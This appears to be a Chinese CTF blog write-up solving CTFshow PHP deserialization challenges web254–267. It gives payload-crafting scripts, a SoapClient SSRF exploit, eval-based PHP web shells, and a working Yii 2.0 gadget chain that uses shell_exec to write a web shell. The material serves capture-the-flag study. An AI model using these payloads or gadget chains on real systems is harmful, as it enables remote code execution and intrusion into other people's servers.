CTFshow反序列化-web254-270

5 篇文章 0 订阅

web254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}




看着代码挺多 一步步看
首先定位怎么拿flag

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag; //输出flag
        }else{
            echo "no vip, no flag";
        }
    }
}
public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }

主要是是这段
如果username和 u 相等, p a s s w o r d 和 u 相等 ,password和 u相等,passwordp 相等执行下一句 赋值 ,然后 返回 isvip等于true
我们直接让isvip 等于true ,然后输入username的时候等于 源代码里面的值
image.png
其实就是个判断都还没开始上序列化

web255

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

开始上反序列化了,

public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }

获取flag的地方

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }

然后就是这里 ,username 和password要相等也是,
然后这里反序列化的地方在cookie ,
我们只需要把isvip 改为true 试试
把代码复制到自己的电脑上
image.png
改成这样,然后构造payload
image.png

GET /?username=xxxxxx&password=xxxxxx HTTP/1.1
Host: 67f048e2-f798-4297-99ac-987be6b53c28.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
Connection: close

image.png

web256

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

public function login($u,$p){
    return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
    if($this->isVip){
        global $flag;
        if($this->username!==$this->password){
                echo "your flag is ".$flag;
          }
    }else{
        echo "no vip, no flag";
    }
}

要这段代码才能获取flag
输入的username 和 password 各种相等,有不要username和password 相等
直接可以修改这里

public $username='xxxxxx1';
public $password='xxxxxx2';
public $isVip=true;

改成这样
image.png
生成payload 打过去就好了
image.png

web257

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

开始出现魔法函数了
先看能获取flag的地方

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

backDoor 类下面的getinfo方法可以直接代码获取flag
但是没有调用backDoor类,不会执行下面的东西
往上找看看那个能调用

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

这个类存在 两个魔法函数
__construct 和 __destruct 一一解释
__construct
image.png
__destruct
image.png

__construct是在对象被创建的时候执行这个函数 ,
$this->class=new info(); 这里刚好创建了一个info对象 ;
思路就是把info改为backDoor 他会去执行并调用 这个 backDoor
payload:

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code = "phpinfo();";
    public function getInfo(){
        eval($this->code);
    }
}


$a = new ctfShowUser();
echo urlencode(serialize($a));

?>

image.png
修改命令获取flag 就欧克 了

web258 使用+ 绕过 O:数字

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}



多加一条 正则

 if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){

user 里面不能包含 [O]:数字
怎么绕过呢
可以在数字前加入+
比如生成的 反序列化是这样

O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8}
绕过
O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8}11前面加入+ 就可以了 ,后面同理

生成payload

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code = "phpinfo();";
    public function getInfo(){
        eval($this->code);
    }
}


$a = new ctfShowUser();
// echo serialize($a);
$b = 'O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}
';
echo urlencode($b);

在进行url编码

O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%0D%0A

image.png

web259 原生类SoapClient 和 ssrf

题目

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();





Notice: Undefined index: vip in /var/www/html/index.php on line 6

Fatal error: Uncaught Error: Call to a member function getFlag() on bool in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8

给了一个反序列化的传参,然后去调用getflag ,但是我们不知道是getflag里面是什么
提示:

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

ip是数组 然后要等于127.0.0.1

post数据为token ,token要等于 ctfshow 然后就会写入flag 到flag.txt ,然后直接访问就好了 应该
看了wp 要使用SoapClient 原生类来构造
PHP: SoapClient - Manual

这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。
exp:

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

image.png
这里不是使用php8 不然不成功
发送payloda
image.png

image.png

web260

正则

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

image.png

web261 file_put_contents写shell

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

魔法函数挺多的

先看能执行eval的代码 
  public function __invoke(){
    eval($this->code);
}

__invoke

只要调用了__invoke 就可以执行代码
image.png
把对象当成函数调用才能触发
但是没用找到把对象当成函数调用的点

__wakeup好绕过

 public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }

__sleep

sleep调用不了 ,要序列化才能被调用

public function __sleep(){
        $this->username='';
        $this->password='';
    }

__construct

public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }

实例化一个对象的时候触发 ,用于变量赋值

__destruct

析构函数,在对象的所有引⽤被删除或者当对象被显式销毁时执⾏的魔术⽅法

public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }

就是这个函数了,当对象被引用或被销毁就可以触发

public function __destruct(){
        if($this->code==0x36d){
            file_put_contents('a.php', '一句话');
        }
    }

这样尝试看看
构造exp
思路 __wakup 和 invoke ,sleep都是用不到的

<?php
class ctfshowvip{
    public $username='877.php';
    public $password = '<?php eval($_POST["cmd"]); ?>';
    public $code = 0x36d;

}

$a = new ctfshowvip();
echo urlencode(serialize($a));

或者这样 只留下有用的

<?php
class ctfshowvip{
    public $username;
    public $password;
    public $code = 877;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }

    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

$a = new ctfshowvip('877a.php','<?php eval($_POST["cmd"]); ?>');
echo urlencode(serialize($a));

直接把值传入public 就可以了
image.png
然后直接访问就可以
image.png

web262 字符串逃逸

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);



存在一个message.php

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

我们要token==admin就可以获取flag
两种解法:

字符串逃逸

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
function filter($msg){
    return  str_replace('fuck', 'loveU', $msg);
}


//第一步先输出序列化内容
// $a = new message('a','b','c');  //a改为fuck
$msg = new message('fuck','b','c');
// echo serialize($a);
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//我们要逃逸的是token =admin 才能获取flag

//第二步把匹配规则拿过来 
//O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}  生成的序列化
//让他过滤
// $msg_1 = serialize($msg);
// 
// $msg_2 = filter($msg_1);
// echo $msg_2;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

//第三步就是构造exp 
$msg_1 = serialize($msg);

$msg_2 = filter($msg_1);
echo $msg_2;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}  
//这里输出的s:4:"loveU" 他原数值是4 ,但是通过替换就变成了5个字符,但是值还是4 就逃逸出来了一个U
//我们要逃逸 user 把user变成 admin 刚好是五个

image.png
构造exp

//第三步就是构造exp 

$msg = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');   //把payload加到fuck后面
$msg_1 = serialize($msg);

$msg_2 = filter($msg_1);
echo $msg_2;
echo "<br>";
$obj =  unserialize($msg_2);

var_dump($obj);

// echo base64_encode($msg_2);

//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//payload ";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"admin";}   62个字符  fuck 也要添加为62个fuck

// 生成的值 刚好310个
//O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

image.png
这样看就把admin 逃逸出去了
最后exp

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
function filter($msg){
    return  str_replace('fuck', 'loveU', $msg); 
}


//第三步就是构造exp 

$msg = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');   //把payload加到fuck后面
$msg_1 = serialize($msg);

$msg_2 = filter($msg_1);
// echo $msg_2;
// echo "<br>";
// $obj =  unserialize($msg_2);
// 
// var_dump($obj);



//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//payload ";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"admin";}   62个字符  fuck 也要添加为62个fuck

// 生成的值 刚好310个
//O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

//生成exp 
echo base64_encode($msg_2); 

image.png
把生成的base64 提交进去就好了

直接修改为admin

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$a = new message('a','b','c');
echo  base64_encode(serialize($a));

生成的base64

Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiYSI7czozOiJtc2ciO3M6MToiYiI7czoyOiJ0byI7czoxOiJjIjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

image.png

web263 session 反序列化

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
登录框
这种F12 没有数据,扫描目录发现存在一个www.zip 文件
image.png
下载下来搜索 serialize ,eval ,file_ ,exec 这些函数
存在一个魔法函数 __destruct()函数
image.png
存在一个file_put_contents 函数可以写入文件

EXP:

//payload
<?php
class User{
    public $username="1.php";
    public $password='<?php eval($_POST[a]);?>//';
}
 
echo urlencode(base64_encode(serialize("|".serialize(new User))));
czo5MjoifE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2BLy8iO30iOw%3D%3D

带着cookie 去访问index ,然后再去访问check.php
然后再去访问log_1.php
post 传入 :a=system(‘cat flag.php’);
F12获取flag
image.png
参考:
ctfshow web入门 反序列化 263_ctfshow web263-CSDN博客
web263_哔哩哔哩_bilibili

web264 反序列化逃逸

<?php
error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

和262 差不多
使用简单的方式

O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

我们只要token 等于amdin

";s:5:"token";s:5:"admin";}  27个字符 
所以我们需要27个fuck
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck

fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

去首页添加payload
然后再去访问 message.php
添加cookie 为 msg=1
刷新就ok
image.png

web265 php指针引用 序列地址共享

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}
public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }

主要是 token 和 password要全等于
但是这里输入的值肯定是相等的,但是他们的虚拟地址 是不相等的, 就要用到地址共享就要用到php指针引用

image.png
这里原本的KaTeX parse error: Expected 'EOF', got '&' at position 7: P 添加为 &̲this -> token 这里就是进行地址指向
image.png
看他序列化后输出的值 后password的值是R:2

O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"1";s:8:"password";R:2;}

php序列化中大写字母R代表引用类型,值为一个数字,指示是从根开始的、也就是从对象本身开始的第几个项目,从1开始数,如果要引用对象本身,序列化后为R:1;如果要引用对象内第一个元素,序列化后则为R:2。不论变量间是如何互相引用的,在序列化过程中php无从得知,php只知道哪几个值的地址一模一样,所以php只会将最先出现的值记录下来,后续出现有相同地址的变量就将其值描述为对它的引用。
提交
image.png

web266 大小写绕过

<?php
$cs = file_get_contents('php://input');
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

只要让他不触发这个异常类就可以

if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

/ctfshow/ 不能存在ctfshow这几个字,php是支持大小写的
image.png

直接post发送 因为存在php://input
O:7:"ctfshow":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
把c改为大写
O:7:"Ctfshow":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}

image.png
获取flag

web267 YII框架反序列化 外带 ,写webshell

image.png
F12查看
image.png
发现是YIi框架
image.png
版本
image.png
2.0 版本 是存在漏洞 反序列化链子的
image.png
存在一个登录的地方 ,试试弱口令admin,123456 ,admin/admin admin/admin123
admin/admin 成功登录
image.png
登录之后 about的界面变了 ,F12看看
image.png
存在一个注释:view-source
添加访问
image.png
出现了注入的路径和参数点

r=/backdoor/shell&code=123

image.png
服务器发生错误 ,证明存在这个页面
去找找yii框架漏洞 。
image.png
挺多的

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
    //TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
}
?>

这个是执行phpinfo的
image.png
执行命令 , 修改system
image.png
image.png
没有回显 白板。。
本来这里是可以外带的 ,但是dnslog起不来 ,ceye也没有带起来
image.png
dnslog外带
image.png
这样写就可以了
这里写webshell

写webshell

这里的路径 是外带获取pwd的路径的 (看的wp视频)
image.png

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = "echo '<?php eval($_POST[1]);? >' > /var/www/html/basic/web/1.php";
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
    //TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
}
?>

image.png
报错

image.png
image.png
成功写入php 现在写一句话

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'shell_exec';  //这里要使用\转义
            $this->id = "echo '<?php eval(\$_POST[1]); ?>' > /var/www/html/basic/web/1.php";
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
    //TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
}
?>

image.png
成功执行 ,
image.png

